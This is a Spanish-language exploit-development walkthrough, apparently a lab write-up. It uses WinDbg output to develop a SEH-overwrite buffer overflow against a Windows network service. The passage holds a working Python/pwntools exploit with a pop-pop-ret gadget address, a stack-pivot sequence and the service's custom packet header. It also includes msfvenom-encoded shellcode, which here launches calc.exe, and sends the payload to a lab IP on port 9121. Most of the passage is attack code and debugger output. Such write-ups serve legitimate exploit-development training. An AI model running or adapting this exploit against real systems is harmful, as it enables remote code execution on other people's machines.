0:000> db eip L100
01c0ff4c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ff5c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ff6c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ff7c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ff8c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ff9c  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ffac  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ffbc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ffcc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ffdc  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0ffec  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c0fffc  44 44 44 44 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  DDDD????????????
01c1000c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01c1001c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01c1002c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
01c1003c  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

¿Porqué se corta la cadena? Esto ocurre debido a que el límite del stack es la dirección 0x01c0e000 por lo que no logra escribir mas allá de esa dirección.

0:000> !teb
TEB at 0037e000
    ExceptionList:        01c0f3fc
    StackBase:            01c10000
    StackLimit:           01c0e000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 0037e000
    EnvironmentPointer:   00000000
    ClientId:             00001adc . 00000918
    RpcHandle:            00000000
    Tls Storage:          005dbc20
    PEB Address:          0035a000
    LastErrorValue:       0
    LastStatusValue:      c000000d
    Count Owned Locks:    0
    HardErrorMode:        0

Ya que es probable que encontremos la cadena en algún lugar del stack podemos buscar los bytes del del siguiente SEH que son eb 06 41 41 que aparece 2 veces, si sumamos los 8 bytes para saltar la estructura tenemos la dirección de las D's.

0:000> s -b 01c0e000 01c10000 eb 06 41 41
01c0fa88  eb 06 41 41 dc 2e 13 10-44 44 44 44 44 44 44 44  ..AA....DDDDDDDD
01c0ff4c  eb 06 41 41 dc 2e 13 10-44 44 44 44 44 44 44 44  ..AA....DDDDDDDD

0:000> ? 01c0fa88 - esp + 8
Evaluate expression: 1692 = 0000069c

Nuestro exploit se podría ver asi, sumando a esp la diferencia con la dirección donde están las D's para despues saltar a ellas, sin embargo nos olvidamos de algo importante que es el tamaño de estas instrucciones y el alineamiento de la pila.

payload  = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x69c")
payload += asm("jmp esp")
payload += b"D" * (1000 - len(payload))

El tamaño de el add y el jmp es de 7 bytes, pero para evitar problemas con el alineamiento del stack usaremos un número divisible entre 4, podemos solo agregar un nop y ahora el tamaño es de 8 bytes que si es divisible entre los 4 bytes.

❯ python3 -q
>>> from pwn import asm
>>> len(asm("add sp, 0x69c") + asm("jmp esp"))  
7
>>> len(asm("add sp, 0x69c") + asm("jmp esp") + asm("nop"))
8
>>> 

Entonces al tamaño que teniamos le agregamos 8 bytes que es el tamaño de las instrucciones y nos queda 0x6a4 que será la diferencia entre el esp y las D's.

0:000> ? 0x69c + 8
Evaluate expression: 1700 = 000006a4

payload  = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x6a4")
payload += asm("jmp esp")
payload += asm("nop")
payload += b"D" * (1000 - len(payload))

Después de ejecutar el add sumando la diferencia ejecutará un jmp esp y como el esp apunta a donde están las D's las ejecutara como instrucciones ensamblador.

0:000> r
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8
eip=01c1ff4c esp=01c1f3f4 ebp=01c1f408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
01c1ff4c 6681c4a406      add     sp,6A4h

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8
eip=01c1ff51 esp=01c1fa98 ebp=01c1f408 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
01c1ff51 ffe4            jmp     esp {01c1fa98}

Esta vez la cadena no se corta y tenemos un tamaño suficiente para un shellcode.

0:000> db esp L100
01c1fa98  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1faa8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fab8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fac8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fad8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fae8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1faf8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb08  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb18  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb28  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb38  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb48  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb58  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb68  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb78  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
01c1fb88  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

0:000> p
eax=00000000 ebx=77af8aa2 ecx=10132edc edx=77af8ac0 esi=00000000 edi=01c1f4e8
eip=01c1fa98 esp=01c1fa98 ebp=01c1f408 iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
01c1fa98 44              inc     esp


Execute Commands


Ya que tenemos una forma de ejecutar instrucciones podemos generar un shellcode usando msfvenom que en caso de interpretarse ejecutará el comando calc.exe.

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x02\x0a\x0d\xf8\xfd' -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\x4b\x99\xd4\xef\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xb7\x71\x56\xef\x47\x82\x37\x79"
shellcode += b"\xa2\xb3\x77\x1d\xa7\xe4\x47\x55\xe5\x08\x23"
shellcode += b"\x3b\x1d\x9a\x41\x94\x12\x2b\xef\xc2\x1d\xac"
shellcode += b"\x5c\x36\x3c\x2e\x9f\x6b\x9e\x0f\x50\x7e\xdf"
shellcode += b"\x48\x8d\x73\x8d\x01\xd9\x26\x21\x25\x97\xfa"
shellcode += b"\xca\x75\x39\x7b\x2f\xcd\x38\xaa\xfe\x45\x63"
shellcode += b"\x6c\x01\x89\x1f\x25\x19\xce\x1a\xff\x92\x24"
shellcode += b"\xd0\xfe\x72\x75\x19\xac\xbb\xb9\xe8\xac\xfc"
shellcode += b"\x7e\x13\xdb\xf4\x7c\xae\xdc\xc3\xff\x74\x68"
shellcode += b"\xd7\x58\xfe\xca\x33\x58\xd3\x8d\xb0\x56\x98"
shellcode += b"\xda\x9e\x7a\x1f\x0e\x95\x87\x94\xb1\x79\x0e"
shellcode += b"\xee\x95\x5d\x4a\xb4\xb4\xc4\x36\x1b\xc8\x16"
shellcode += b"\x99\xc4\x6c\x5d\x34\x10\x1d\x3c\x53\xe7\x93"
shellcode += b"\x3b\x11\xe7\xab\x43\x06\x80\x9a\xc8\xc9\xd7"
shellcode += b"\x22\x1b\xae\x28\x69\x01\x87\xa0\x34\xd0\x95"
shellcode += b"\xac\xc6\x0f\xd9\xc8\x44\xa5\xa2\x2e\x54\xcc"
shellcode += b"\xa7\x6b\xd2\x3d\xda\xe4\xb7\x41\x49\x04\x92"
shellcode += b"\x22\x0c\x96\x7e\x8a\xab\x1e\xe4\xd2\x33\xdf"
shellcode += b"\xe6\xd2\x33\xdf\xe6"

Nuestro exploit final sobrescribe la estructura SEH para despues de ejecutar el gadget pop; pop; ret; y el short jump haga un stack pivot y salte al shellcode enviado.

#!/usr/bin/python3
from pwn import remote, p32, asm

offset = 124
junk = b"A" * offset

nseh = asm("jmp $+8").ljust(4, b"A")
seh = p32(0x10132edc)

shellcode =  b""
shellcode += b"\xfc\xbb\x4b\x99\xd4\xef\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\xb7\x71\x56\xef\x47\x82\x37\x79"
shellcode += b"\xa2\xb3\x77\x1d\xa7\xe4\x47\x55\xe5\x08\x23"
shellcode += b"\x3b\x1d\x9a\x41\x94\x12\x2b\xef\xc2\x1d\xac"
shellcode += b"\x5c\x36\x3c\x2e\x9f\x6b\x9e\x0f\x50\x7e\xdf"
shellcode += b"\x48\x8d\x73\x8d\x01\xd9\x26\x21\x25\x97\xfa"
shellcode += b"\xca\x75\x39\x7b\x2f\xcd\x38\xaa\xfe\x45\x63"
shellcode += b"\x6c\x01\x89\x1f\x25\x19\xce\x1a\xff\x92\x24"
shellcode += b"\xd0\xfe\x72\x75\x19\xac\xbb\xb9\xe8\xac\xfc"
shellcode += b"\x7e\x13\xdb\xf4\x7c\xae\xdc\xc3\xff\x74\x68"
shellcode += b"\xd7\x58\xfe\xca\x33\x58\xd3\x8d\xb0\x56\x98"
shellcode += b"\xda\x9e\x7a\x1f\x0e\x95\x87\x94\xb1\x79\x0e"
shellcode += b"\xee\x95\x5d\x4a\xb4\xb4\xc4\x36\x1b\xc8\x16"
shellcode += b"\x99\xc4\x6c\x5d\x34\x10\x1d\x3c\x53\xe7\x93"
shellcode += b"\x3b\x11\xe7\xab\x43\x06\x80\x9a\xc8\xc9\xd7"
shellcode += b"\x22\x1b\xae\x28\x69\x01\x87\xa0\x34\xd0\x95"
shellcode += b"\xac\xc6\x0f\xd9\xc8\x44\xa5\xa2\x2e\x54\xcc"
shellcode += b"\xa7\x6b\xd2\x3d\xda\xe4\xb7\x41\x49\x04\x92"
shellcode += b"\x22\x0c\x96\x7e\x8a\xab\x1e\xe4\xd2\x33\xdf"
shellcode += b"\xe6\xd2\x33\xdf\xe6"

payload  = b""
payload += junk
payload += nseh + seh
payload += asm("add sp, 0x6a4")
payload += asm("jmp esp")
payload += asm("nop")
payload += shellcode
payload += b"D" * (1000 - len(payload))

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("192.168.100.5", 9121)
shell.sendline(content)

Como resultado conseguimos controlar el programa y ejecutar el shellcode que ejecuta el comando calc.exe por lo que se abre una calculadora en la máquina.